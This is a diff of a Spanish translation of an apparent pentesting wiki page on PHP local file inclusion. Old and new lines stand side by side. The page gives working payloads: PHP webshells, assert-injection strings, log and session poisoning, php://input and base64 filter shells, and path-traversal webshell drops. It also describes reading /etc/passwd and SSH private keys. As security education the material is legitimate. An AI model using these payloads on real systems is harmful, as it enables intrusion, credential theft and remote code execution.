- `convert.quoted-printable-encode` - `convert.quoted-printable-encode`
- `convert.quoted-printable-decode` - `convert.quoted-printable-decode`
- `convert.iconv.*` : Transforms to a different encoding(`convert.iconv.<input_enc>.<output_enc>`) . Para obtener la **lista de todas las codificaciones** compatibles ejecuta en la consola: `iconv -l` - `convert.iconv.*` : Transforma a una codificación distinta (`convert.iconv.<input_enc>.<output_enc>`). Para obtener la **lista de todas las codificaciones** soportadas ejecuta en la consola: `iconv -l`
> [!WARNING] > [!WARNING]
> Abusando del filtro de conversión `convert.iconv.*` puedes **generar texto arbitrario**, lo que podría ser útil para escribir texto arbitrario o hacer que una función como include procese texto arbitrario. Para más información consulta [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). > Abusando del filtro de conversión `convert.iconv.*` puedes **generar texto arbitrario**, lo cual puede ser útil para escribir texto arbitrario o hacer que una función como include procese texto arbitrario. Para más info revisa [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php) - [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Comprime el contenido (útil si exfiltras mucha información) - `zlib.deflate`: Comprime el contenido (útil si exfiltras mucha información)
- `zlib.inflate`: Descomprime los datos - `zlib.inflate`: Descomprime los datos
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Obsoleto - `mcrypt.*` : Deprecated
- `mdecrypt.*` : Obsoleto - `mdecrypt.*` : Deprecated
- Other Filters - Otros Filters
- Al ejecutar en php `var_dump(stream_get_filters());` puedes encontrar un par de **filtros inesperados**: - Ejecutando en php `var_dump(stream_get_filters());` puedes encontrar un par de filtros **inesperados**:
- `consumed` - `consumed`
- `dechunk`: revierte la codificación HTTP chunked - `dechunk`: revierte la codificación chunked de HTTP
- `convert.*` - `convert.*`
```php ```php
# String Filters # String Filters
@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient) # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
``` ```
> [!WARNING] > [!WARNING]
> La parte "php://filter" no distingue entre mayúsculas y minúsculas > La parte "php://filter" no distingue mayúsculas y minúsculas
### Usando php filters as oracle para leer archivos arbitrarios ### Usando php filters como oráculo para leer archivos arbitrarios
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) se propone una técnica para leer un archivo local sin que la salida sea devuelta por el servidor. Esta técnica se basa en una **boolean exfiltration of the file (char by char) using php filters** as oracle. Esto se debe a que php filters pueden usarse para hacer un texto lo suficientemente grande como para que php lance una excepción. [**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) se propone una técnica para leer un archivo local sin que el servidor devuelva la salida. Esta técnica se basa en una **boolean exfiltration of the file (char by char) using php filters** como oráculo. Esto se debe a que php filters pueden usarse para hacer un texto lo suficientemente grande como para que php lance una excepción.
En el post original puedes encontrar una explicación detallada de la técnica, pero aquí va un resumen rápido: En la publicación original puedes encontrar una explicación detallada de la técnica, pero aquí va un resumen rápido:
- Usa el codec **`UCS-4LE`** para dejar el carácter inicial del texto al principio y hacer que el tamaño de la cadena aumente exponencialmente. - Usa el codec **`UCS-4LE`** para dejar el carácter inicial del texto al principio y hacer que el tamaño de la cadena aumente exponencialmente.
- Esto se usará para generar un **texto tan grande cuando la letra inicial sea adivinada correctamente** que php disparará un **error**. - Esto se usará para generar un **texto tan grande cuando la letra inicial se adivine correctamente** que php provocará un **error**.
- El filtro **dechunk** **eliminará todo si el primer carácter no es hexadecimal**, por lo que podemos saber si el primer carácter es hex. - El filtro **dechunk** **eliminará todo si el primer char no es un hexadecimal**, por lo que podemos saber si el primer char es hex.
- Esto, combinado con el anterior (y otros filters dependiendo de la letra adivinada), nos permitirá adivinar una letra al inicio del texto viendo cuándo aplicamos suficientes transformaciones para que deje de ser un carácter hexadecimal. Porque si es hex, dechunk no lo eliminará y la bomba inicial provocará un error en php. - Esto, combinado con el anterior (y otros filtros dependiendo de la letra adivinada), nos permitirá adivinar una letra al inicio del texto observando cuándo aplicamos suficientes transformaciones para que deje de ser un carácter hexadecimal. Porque si es hex, dechunk no la eliminará y la bomba inicial provocará un error en php.
- El codec **convert.iconv.UNICODE.CP930** transforma cada letra en la siguiente (por ejemplo: a -> b). Esto nos permite descubrir si la primera letra es una `a`, porque si aplicamos 6 veces este codec a->b->c->d->e->f->g la letra deja de ser un carácter hexadecimal; por lo tanto dechunk no la elimina y el error de php se dispara al multiplicarse con la bomba inicial. - El codec **convert.iconv.UNICODE.CP930** transforma cada letra en la siguiente (por ejemplo: a -> b). Esto nos permite descubrir si la primera letra es una `a`, porque si aplicamos 6 veces este codec a->b->c->d->e->f->g la letra deja de ser un carácter hexadecimal; por lo tanto dechunk no la elimina y se desencadena el error de php porque se multiplica con la bomba inicial.
- Usando otras transformaciones como **rot13** al principio es posible leak otros caracteres como n, o, p, q, r (y otros codecs pueden usarse para mover otras letras al rango hex). - Usando otras transformaciones como **rot13** al principio es posible leak otros chars como n, o, p, q, r (y otros codecs pueden usarse para mover otras letras al rango hex).
- Cuando el carácter inicial es un número, es necesario codificarlo en base64 y leak las 2 primeras letras para leak el número. - Cuando el primer char es un número, es necesario codificarlo en base64 y leak las 2 primeras letras para leak el número.
- El problema final es ver **cómo leak más que la letra inicial**. Usando order memory filters como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** es posible cambiar el orden de los caracteres y colocar en la primera posición otras letras del texto. - El problema final es ver **cómo leak más que la letra inicial**. Usando filtros de reordenamiento de memoria como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** es posible cambiar el orden de los chars y poner en la primera posición otras letras del texto.
- Y para poder obtener **further data** la idea es **generate 2 bytes of junk data at the beginning** con **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para que **pivot with the next 2 bytes**, y d**elete the data until the junk data** (esto eliminará los primeros 2 bytes del texto inicial). Continúa haciendo esto hasta que alcances el bit deseado a leak. - Y para poder obtener **further data** la idea es **generar 2 bytes de datos basura al principio** con **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para que pivote con los siguientes 2 bytes, y **eliminar los datos hasta los datos basura** (esto eliminará los primeros 2 bytes del texto inicial). Continúa haciendo esto hasta llegar al bit deseado para leak.
En el post también se publicó una herramienta para realizar esto automáticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). En el post también se publicó una herramienta para realizar esto automáticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd ### php://fd
Este wrapper permite acceder a los file descriptors que el proceso tiene abiertos. Potencialmente útil para exfiltrar el contenido de archivos abiertos: This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
```php ```php
echo file_get_contents("php://fd/3"); echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r"); $myfile = fopen("/etc/passwd", "r");
``` ```
También puedes usar **php://stdin, php://stdout and php://stderr** para acceder a los **file descriptors 0, 1 and 2** respectivamente (no estoy seguro de cómo esto podría ser útil en un ataque) También puedes usar **php://stdin, php://stdout and php://stderr** para acceder a los **descriptores de archivo 0, 1 y 2** respectivamente (no estoy seguro de cómo esto podría ser útil en un ataque)
### zip:// and rar:// ### zip:// and rar://
Sube un archivo Zip o Rar con un PHPShell dentro y accede a él.\ Sube un archivo Zip o Rar con un PHPShell dentro y accede a él.\
Para poder abusar del rar protocol **debe ser activado específicamente**. Para poder abusar del protocolo rar, este **debe estar específicamente activado**.
```bash ```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php; echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php; zip payload.zip payload.php;
@ -345,7 +345,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
``` ```
### phar:// ### phar://
Un archivo `.phar` puede utilizarse para ejecutar código PHP cuando una aplicación web usa funciones como `include` para la carga de archivos. El fragmento de código PHP que se muestra a continuación demuestra la creación de un archivo `.phar`: Un archivo `.phar` puede utilizarse para ejecutar código PHP cuando una aplicación web emplea funciones como `include` para cargar archivos. El fragmento de código PHP que se muestra a continuación demuestra la creación de un archivo `.phar`:
```php ```php
<?php <?php
$phar = new Phar('test.phar'); $phar = new Phar('test.phar');
@ -358,11 +358,11 @@ Para compilar el archivo `.phar`, se debe ejecutar el siguiente comando:
```bash ```bash
php --define phar.readonly=0 create_path.php php --define phar.readonly=0 create_path.php
``` ```
Al ejecutarse, se creará un archivo llamado `test.phar`, que podría aprovecharse potencialmente para explotar vulnerabilidades de Local File Inclusion (LFI). Al ejecutarse, se creará un archivo llamado `test.phar`, que podría aprovecharse para explotar vulnerabilidades de Local File Inclusion (LFI).
En casos en los que la LFI solo realiza lectura de archivos sin ejecutar el código PHP contenido, mediante funciones como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, o `filesize()`, se podría intentar explotar una vulnerabilidad de deserialización. Esta vulnerabilidad está asociada con la lectura de archivos usando el protocolo `phar`. En casos donde el LFI solo realiza lectura de archivos sin ejecutar el código PHP contenido, mediante funciones como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` o `filesize()`, podría intentarse explotar una vulnerabilidad de deserialization. Esta vulnerabilidad está asociada con la lectura de archivos usando el protocolo `phar`.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below: Para una comprensión detallada de la explotación de vulnerabilidades de deserialization en el contexto de archivos `.phar`, consulte el documento enlazado a continuación:
[Phar Deserialization Exploitation Guide](phar-deserialization.md) [Phar Deserialization Exploitation Guide](phar-deserialization.md)
@ -373,36 +373,36 @@ phar-deserialization.md
### CVE-2024-2961 ### CVE-2024-2961
It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ Fue posible abusar de **any arbitrary file read from PHP that supports php filters** para obtener un RCE. La descripción detallada puede ser [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Very quick summary: a **3 byte overflow** in the PHP heap was abused to **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, so a hook was added to call **`system`**.\ Resumen muy rápido: un **3 byte overflow** en el heap de PHP fue abusado para **alterar the chain of free chunks** de un tamaño específico con el fin de poder **write anything in any address**, por lo que se añadió un hook para llamar a **`system`**.\
It was possible to alloc chunks of specific sizes abusing more php filters. Fue posible alloc chunks de tamaños específicos abusando de más php filters.
### Más protocolos ### Más protocolos
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:** Consulta más posibles[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escriben en memoria o en un archivo temporal (no estoy seguro de cómo puede ser útil en un ataque de file inclusion) - [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escribe en memoria o en un archivo temporal (no estoy seguro de cómo esto puede ser útil en un file inclusion attack)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accediendo al sistema de archivos local - [file://](https://www.php.net/manual/en/wrappers.file.php) — Accediendo al sistema de archivos local
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accediendo a URLs HTTP(s) - [http://](https://www.php.net/manual/en/wrappers.http.php) — Accediendo a URLs HTTP(s)
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accediendo a URLs FTP(s) - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accediendo a URLs FTP(s)
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Flujos de compresión - [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Buscar nombres de ruta que coincidan con un patrón (No devuelve nada imprimible, por lo que no es muy útil aquí) - [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2 - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Streams de audio (No es útil para leer archivos arbitrarios) - [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Not useful to read arbitrary files)
## LFI via PHP's 'assert' ## LFI vía 'assert' de PHP
Local File Inclusion (LFI) risks in PHP are notably high when dealing with the 'assert' function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like ".." is being checked but not properly sanitized. Los riesgos de Local File Inclusion (LFI) en PHP son notablemente altos cuando se trata de la función 'assert', que puede ejecutar código dentro de strings. Esto es especialmente problemático si se verifica la entrada que contiene caracteres de directory traversal como ".." pero no se sanitiza correctamente.
For example, PHP code might be designed to prevent directory traversal like so: Por ejemplo, el código PHP podría estar diseñado para prevenir directory traversal de la siguiente manera:
```bash ```bash
assert("strpos('$file', '..') === false") or die(""); assert("strpos('$file', '..') === false") or die("");
``` ```
Aunque esto pretende impedir el traversal, crea involuntariamente un vector para code injection. Para explotarlo y leer el contenido de archivos, un attacker podría usar: Si bien esto apunta a detener traversal, inadvertidamente crea un vector para code injection. Para explotar esto y leer el contenido de archivos, un atacante podría usar:
```plaintext ```plaintext
' and die(highlight_file('/etc/passwd')) or ' ' and die(highlight_file('/etc/passwd')) or '
``` ```
De manera similar, para ejecutar comandos arbitrarios del sistema, se podría usar: De forma similar, para ejecutar comandos arbitrarios del sistema, se podría usar:
```plaintext ```plaintext
' and die(system("id")) or ' ' and die(system("id")) or '
``` ```
@ -411,17 +411,17 @@ Es importante **URL-encode these payloads**.
## PHP Blind Path Traversal ## PHP Blind Path Traversal
> [!WARNING] > [!WARNING]
> Esta técnica es relevante en casos donde tú **controlas** la **file path** de una **PHP function** que va a **access a file**, pero no verás el contenido del archivo (como una simple llamada a **`file()`**) ya que el contenido no se muestra. > Esta técnica es relevante en casos donde tú **controlas** la **file path** de una **PHP function** que va a **access a file** pero no verás el contenido del archivo (como una llamada simple a **`file()`**) porque el contenido no se muestra.
En [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) se explica cómo un blind path traversal puede aprovecharse mediante PHP filter para **exfiltrate the content of a file via an error oracle**. En [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) se explica cómo un blind path traversal puede ser abusado vía PHP filter para **exfiltrate the content of a file via an error oracle**.
En resumen, la técnica utiliza la codificación **"UCS-4LE"** para hacer que el contenido de un archivo sea tan **grande** que la **PHP function opening** el archivo provoque un **error**. En resumen, la técnica usa la codificación **"UCS-4LE"** para hacer que el contenido de un archivo sea tan **big** que la **PHP function opening** el archivo provoque un **error**.
Luego, para leak the first char, se utiliza el filter **`dechunk`** junto con otros como **base64** o **rot13**, y finalmente se emplean los filters **convert.iconv.UCS-4.UCS-4LE** y **convert.iconv.UTF16.UTF-16BE** para **place other chars at the beggining and leak them**. Luego, para leak the first char se usa el filter **`dechunk`** junto con otros como **base64** o **rot13** y finalmente los filters **convert.iconv.UCS-4.UCS-4LE** y **convert.iconv.UTF16.UTF-16BE** se usan para **place other chars at the beggining and leak them**.
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` **Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
For the technical details check the mentioned post! Para los detalles técnicos consulta el post mencionado!
## LFI2RCE ## LFI2RCE
@ -429,18 +429,18 @@ For the technical details check the mentioned post!
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell. When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
Typical exploitation workflow: Flujo típico de explotación:
- Identificar un write primitive en un endpoint o background worker que acepte una path/filename y escriba contenido en disco (p. ej., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.). - Identifica una primitiva de escritura en un endpoint o background worker que acepta una path/filename y escribe contenido al disco (p. ej., ingesta basada en mensajes, manejadores de comandos XML/JSON, extractores ZIP, etc.).
- Determinar web-exposed directories. Ejemplos comunes: - Determina directorios expuestos en la web. Ejemplos comunes:
- Apache/PHP: `/var/www/html/` - Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp` - Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Construir un traversal path que salga del directorio de almacenamiento previsto hacia el webroot e incluya el contenido de tu webshell. - Construye una ruta de traversal que salga del directorio de almacenamiento previsto hacia el webroot, e incluye el contenido de tu webshell.
- Navega al payload depositado y ejecuta comandos. - Navega hasta el payload colocado y ejecuta comandos.
Notas: Notas:
- El servicio vulnerable que realiza la escritura puede escuchar en un non-HTTP port (p. ej., un JMF XML listener en TCP 4004). El portal web principal (puerto distinto) servirá posteriormente tu payload. - El servicio vulnerable que realiza la escritura puede escuchar en un puerto no-HTTP (p. ej., un JMF XML listener en TCP 4004). El portal web principal (puerto diferente) servirá más tarde tu payload.
- En stacks Java, estas escrituras de archivos a menudo se implementan con concatenación simple de `File`/`Paths`. La falta de canonicalisation/allow-listing es la falla principal. - En stacks Java, estas escrituras de archivos a menudo se implementan con simples concatenaciones `File`/`Paths`. La falta de canonicalisation/allow-listing es la falla central.
Generic XML/JMF-style example (product schemas vary the DOCTYPE/body wrapper is irrelevant for the traversal): Generic XML/JMF-style example (product schemas vary the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml ```xml
@ -466,26 +466,26 @@ in.transferTo(out);
</Command> </Command>
</JMF> </JMF>
``` ```
Mitigaciones que derrotan esta clase de bugs: Hardening that defeats this class of bugs:
- Resuelve a una ruta canónica y asegura que sea descendiente de un directorio base en la lista de permitidos. - Resuelve a una ruta canónica y fuerza que sea descendiente de un directorio base allow-listed.
- Rechaza cualquier ruta que contenga `..`, raíces absolutas o letras de unidad; prefiere nombres de archivo generados. - Rechaza cualquier ruta que contenga `..`, raíces absolutas, o letras de unidad; prefiere nombres de archivo generados.
- Ejecuta el proceso que escribe como una cuenta con pocos privilegios y separa los directorios de escritura de las raíces servidas. - Ejecuta el writer como una cuenta de bajos privilegios y segrega los directorios de escritura de las raíces servidas.
## Remote File Inclusion ## Remote File Inclusion
Explicado previamente, [**sigue este enlace**](#remote-file-inclusion). Explicado anteriormente, [**sigue este enlace**](#remote-file-inclusion).
### A través del archivo de registro de Apache/Nginx ### Vía archivo de logs de Apache/Nginx
Si el servidor Apache o Nginx es **vulnerable a LFI** en la función include, puedes intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, colocar dentro del **user agent** o en un **parámetro GET** una php shell como **`<?php system($_GET['c']); ?>`** e incluir ese archivo Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función include podrías intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, colocar en el **user agent** o en un **GET parameter** un php shell como **`<?php system($_GET['c']); ?>`** e incluir ese archivo
> [!WARNING] > [!WARNING]
> Ten en cuenta que **si usas comillas dobles** para la shell en lugar de **comillas simples**, las comillas dobles serán modificadas por la cadena "_**quote;**_", **PHP lanzará un error** y **nada más se ejecutará**. > Ten en cuenta que **si usas comillas dobles** para el shell en lugar de **comillas simples**, las comillas dobles serán modificadas por la cadena "_**quote;**_", **PHP lanzará un error** allí y **nada más se ejecutará**.
> >
> Además, asegúrate de **escribir correctamente el payload** o PHP dará error cada vez que intente cargar el archivo de log y no tendrás una segunda oportunidad. > Además, asegúrate de **escribir correctamente el payload** o PHP fallará cada vez que intente cargar el archivo de logs y no tendrás una segunda oportunidad.
Esto también se puede hacer en otros logs pero **ten cuidado,** el código dentro de los logs podría estar codificado en URL y esto podría destruir la Shell. El header **authorisation "basic"** contiene "user:password" en Base64 y eso se decodifica dentro de los logs. La PHPShell podría insertarse dentro de este header.\ Esto también podría hacerse en otros logs pero **ten cuidado,** el código dentro de los logs podría estar codificado en URL y esto podría destruir la Shell. El header **authorisation "basic"** contiene "user:password" en Base64 y es decodificado dentro de los logs. El PHPShell podría ser insertado dentro de este header.\
Otras posibles rutas de logs: Otros posibles archivos de log:
```python ```python
/var/log/apache2/access.log /var/log/apache2/access.log
/var/log/apache/access.log /var/log/apache/access.log
@ -499,33 +499,33 @@ Otras posibles rutas de logs:
``` ```
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### Vía Email ### Vía correo electrónico
**Envía un correo** a una cuenta interna (user@localhost) que contenga tu payload PHP como `<?php echo system($_REQUEST["cmd"]); ?>` e intenta incluir el correo del usuario con una ruta como **`/var/mail/<USERNAME>`** o **`/var/spool/mail/<USERNAME>`** **Envía un correo** a una cuenta interna (user@localhost) que contenga tu payload PHP como `<?php echo system($_REQUEST["cmd"]); ?>` e intenta incluir el correo del usuario con una ruta como **`/var/mail/<USERNAME>`** o **`/var/spool/mail/<USERNAME>`**
### Vía /proc/\*/fd/\* ### Vía /proc/*/fd/*
1. Sube muchas shells (por ejemplo: 100) 1. Sube muchas shells (por ejemplo: 100)
2. Incluye [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del proceso (puede obtenerse por fuerza bruta) y $FD = el descriptor de archivo (también puede obtenerse por fuerza bruta) 2. Incluye [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del proceso (puede ser brute forced) y $FD el descriptor de archivo (también puede ser brute forced)
### Vía /proc/self/environ ### Vía /proc/self/environ
Como con un archivo de registro, envía el payload en el User-Agent; se reflejará dentro del archivo /proc/self/environ Como un archivo de logs, envía el payload en el User-Agent; será reflejado dentro del archivo /proc/self/environ
``` ```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?> User-Agent: <?=phpinfo(); ?>
``` ```
### Via upload ### Via upload
Si puedes upload un archivo, simplemente inyecta el shell payload en él (ej: `<?php system($_GET['c']); ?>`). Si puedes upload un archivo, simplemente inyecta el shell payload en él (e.g : `<?php system($_GET['c']); ?>` ).
``` ```
http://example.com/index.php?page=path/to/uploaded/file.png http://example.com/index.php?page=path/to/uploaded/file.png
``` ```
Para mantener el archivo legible es mejor inyectar en los metadatos de las imágenes/doc/pdf Para mantener el archivo legible, es mejor inyectar en los metadatos de las imágenes/doc/pdf
### Mediante subida de archivo ZIP ### Mediante subida de archivo ZIP
Sube un archivo ZIP que contenga un PHP shell comprimido y accede: Sube un archivo ZIP que contenga un PHP shell comprimido y accede a:
```python ```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
``` ```
@ -536,7 +536,7 @@ Comprueba si el sitio web usa sesiones PHP (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
``` ```
En PHP, estas sesiones se almacenan en los archivos _/var/lib/php5/sess\\_\[PHPSESSID]\_ En PHP, estas sesiones se almacenan en _/var/lib/php5/sess\\_\[PHPSESSID]\_ archivos
``` ```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
@ -549,75 +549,75 @@ Usa el LFI para incluir el archivo de sesión de PHP
``` ```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
``` ```
### A través de ssh ### Mediante ssh
Si ssh está activo, comprueba qué usuario se está usando (/proc/self/status & /etc/passwd) e intenta acceder a **\<HOME>/.ssh/id_rsa** Si ssh está activo, comprueba qué usuario se está usando (/proc/self/status & /etc/passwd) e intenta acceder a **\<HOME>/.ssh/id_rsa**
### **A través de** **vsftpd** _**logs**_ ### **Mediante** **vsftpd** _**logs**_
Los logs del servidor FTP vsftpd se encuentran en _**/var/log/vsftpd.log**_. En un escenario donde exista una vulnerabilidad Local File Inclusion (LFI), y sea posible acceder a un servidor vsftpd expuesto, se pueden considerar los siguientes pasos: Los logs del servidor FTP vsftpd se encuentran en _**/var/log/vsftpd.log**_. En el escenario en el que exista una Local File Inclusion (LFI) y sea posible acceder a un servidor vsftpd expuesto, se pueden considerar los siguientes pasos:
1. Inyecta un PHP payload en el campo username durante el proceso de login. 1. Inyecta un PHP payload en el campo username durante el proceso de login.
2. Tras la inyección, utiliza la LFI para recuperar los logs del servidor desde _**/var/log/vsftpd.log**_. 2. Tras la inyección, utiliza la LFI para recuperar los logs del servidor desde _**/var/log/vsftpd.log**_.
### A través del php base64 filter (usando base64) ### Mediante el filtro base64 de php (usando base64)
Como se muestra en [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64. You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Aquí hay un ejemplo de payload: Como se muestra en [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artículo, el filtro base64 de PHP simplemente ignora lo que no es base64. Puedes usar eso para eludir la comprobación de extensión de archivo: si suministras base64 que termina con ".php", simplemente ignorará el "." y añadirá "php" al base64. Aquí hay un ejemplo de payload:
```url ```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>" NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
``` ```
### Vía php filters (no se necesita archivo) ### Via php filters (no se necesita archivo)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que puedes usar **php filters to generate arbitrary content** como salida. Lo que básicamente significa que puedes **generate arbitrary php code** para el include **without needing to write** en un archivo. This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que puedes usar **php filters para generar contenido arbitrario** como salida. Lo que básicamente significa que puedes **generar código php arbitrario** para el include **sin necesidad de escribirlo** en un archivo.
{{#ref}} {{#ref}}
lfi2rce-via-php-filters.md lfi2rce-via-php-filters.md
{{#endref}} {{#endref}}
### Vía segmentation fault ### Via segmentation fault
**Upload** un archivo que se almacenará como **temporary** en `/tmp`, luego en la **same request,** provoca un **segmentation fault**, y entonces el **temporary file won't be deleted** y puedes buscarlo. **Upload** un archivo que será almacenado como **temporary** en `/tmp`, luego en la **same request,** provoca un **segmentation fault**, y entonces el **temporary file won't be deleted** y podrás buscarlo.
{{#ref}} {{#ref}}
lfi2rce-via-segmentation-fault.md lfi2rce-via-segmentation-fault.md
{{#endref}} {{#endref}}
### Vía Nginx temp file storage ### Via Nginx temp file storage
Si encontraste una **Local File Inclusion** y **Nginx** está corriendo delante de PHP podrías obtener RCE con la siguiente técnica: Si encuentras una **Local File Inclusion** y **Nginx** está corriendo delante de PHP, podrías obtener RCE con la siguiente técnica:
{{#ref}} {{#ref}}
lfi2rce-via-nginx-temp-files.md lfi2rce-via-nginx-temp-files.md
